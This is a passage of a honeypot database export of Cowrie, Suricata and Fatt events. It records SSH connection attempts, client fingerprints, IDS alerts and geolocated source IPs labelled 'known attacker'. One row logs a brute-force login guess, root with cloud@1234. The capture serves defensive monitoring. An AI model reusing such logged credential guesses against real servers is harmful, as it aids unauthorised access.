"flow_id": 829585654389006, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 50216, "dest_port": 22, "timestamp": "2021-09-20T11:53:33.629211Z", "@timestamp": "2021-09-20T11:53:33.629Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32822	36.27.214.211	109.199.241.180	Fatt	2021-09-20 14:53:33.629387+03	2021-09-20 15:00:03.966722+03	{"_id": "lgYNA3wBvYTbRNuE5Uwi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 50216, "dest_port": 22, "timestamp": "2021-09-20T11:53:33.629387", "@timestamp": "2021-09-20T11:53:33.629Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32823	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:29.740643+03	2021-09-20 15:00:03.967722+03	{"_id": "YQYNA3wBvYTbRNuE00wL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "159.253.30.249", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "276618e7e832", "@version": "1", "duration": 0.11123418807983398, "duplicate": true, "timestamp": "2021-09-20T11:53:29.740643Z", "@timestamp": "2021-09-20T11:53:29.740Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32824	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:29.941538+03	2021-09-20 15:00:03.968722+03	{"_id": "YgYNA3wBvYTbRNuE00wL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-m68k-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:29.941538Z", "@timestamp": "2021-09-20T11:53:29.941Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32825	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:29.308575+03	2021-09-20 15:00:03.969722+03	{"_id": "aQYNA3wBvYTbRNuE00wO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-m68k-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:29.308575Z", "@timestamp": "2021-09-20T11:53:29.308Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32826	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:53:31.201501+03	2021-09-20 15:00:03.970723+03	{"_id": "dQYNA3wBvYTbRNuE2Exg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:53:27.756899+0000", "pkts_toclient": 6, "pkts_toserver": 5, "bytes_toclient": 391, "bytes_toserver": 355}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 1823331564620963, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 58853, "timestamp": "2021-09-20T11:53:31.201501Z", "@timestamp": "2021-09-20T11:53:31.201Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
32827	221.181.185.94	109.199.241.180	Cowrie	2021-09-20 14:53:32.349423+03	2021-09-20 15:00:03.972722+03	{"_id": "ggYNA3wBvYTbRNuE3kzF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "221.181.185.94", "asn": 56046, "as_org": "China Mobile communications corporation", "latitude": 32.7893, "location": {"lat": 32.7893, "lon": 119.4418}, "timezone": "Asia/Shanghai", "city_name": "Gaoyou", "longitude": 119.4418, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "221.181.185.94", "eventid": "cowrie.session.closed", "message": "Connection lost after 120 seconds", "session": "48fc6e9add0d", "@version": "1", "duration": 120.00160932540894, "timestamp": "2021-09-20T11:53:32.349423Z", "@timestamp": "2021-09-20T11:53:32.349Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32828	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:53:32.334682+03	2021-09-20 15:00:03.973722+03	{"_id": "gwYNA3wBvYTbRNuE3kzF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.60.208.43:44558 (192.168.176.2:22) [session: 0f07cd2dc626]", "session": "0f07cd2dc626", "@version": "1", "protocol": "ssh", "src_port": 44558, "dest_port": 22, "timestamp": "2021-09-20T11:53:32.334682Z", "@timestamp": "2021-09-20T11:53:32.334Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32829	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:53:32.337616+03	2021-09-20 15:00:03.974722+03	{"_id": "hAYNA3wBvYTbRNuE3kzF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "0f07cd2dc626", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:53:32.337616Z", "@timestamp": "2021-09-20T11:53:32.337Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32830	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:53:32.422394+03	2021-09-20 15:00:03.975722+03	{"_id": "hQYNA3wBvYTbRNuE3kzF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "0f07cd2dc626", "@version": "1", "timestamp": "2021-09-20T11:53:32.422394Z", "@timestamp": "2021-09-20T11:53:32.422Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32831	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:53:32.862562+03	2021-09-20 15:00:03.977722+03	{"_id": "hgYNA3wBvYTbRNuE3kzF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.login.failed", "message": "login attempt [root/cloud@1234] failed", "session": "0f07cd2dc626", "@version": "1", "password": "cloud@1234", "username": "root", "timestamp": "2021-09-20T11:53:32.862562Z", "@timestamp": "2021-09-20T11:53:32.862Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32832	176.60.208.43	109.199.241.180	Suricata	2021-09-20 14:53:32.421804+03	2021-09-20 15:00:03.978722+03	{"_id": "hwYNA3wBvYTbRNuE4Ewx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "flow_id": 1778468484077099, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44558, "dest_port": 22, "timestamp": "2021-09-20T11:53:32.421804Z", "@timestamp": "2021-09-20T11:53:32.421Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32833	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:53:33.629985+03	2021-09-20 15:00:03.980721+03	{"_id": "lAYNA3wBvYTbRNuE4kyt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "ac815d7ebe12", "@version": "1", "timestamp": "2021-09-20T11:53:33.629985Z", "@timestamp": "2021-09-20T11:53:33.629Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32834	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:53:44.904076+03	2021-09-20 15:00:03.981722+03	{"_id": "ogYOA3wBvYTbRNuEDUyn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "85de2e099606", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:53:44.904076Z", "@timestamp": "2021-09-20T11:53:44.904Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32835	81.70.175.230	109.199.241.180	Suricata	2021-09-20 14:53:45.88528+03	2021-09-20 15:00:03.982723+03	{"_id": "pgYOA3wBvYTbRNuEEkz_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:53:44.650583+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 1502, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.70.175.230", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1939933485395287, "payload": "AAADzAYUdQaefpir5GL6vjplRjFvYQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58664, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:53:45.885280Z", "@timestamp": "2021-09-20T11:53:45.885Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......u..~...b..:eF1oa...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
32836	81.70.175.230	109.199.241.180	Fatt	2021-09-20 14:53:45.88528+03	2021-09-20 15:00:03.984722+03	{"_id": "qAYOA3wBvYTbRNuEFEwI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.70.175.230", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": 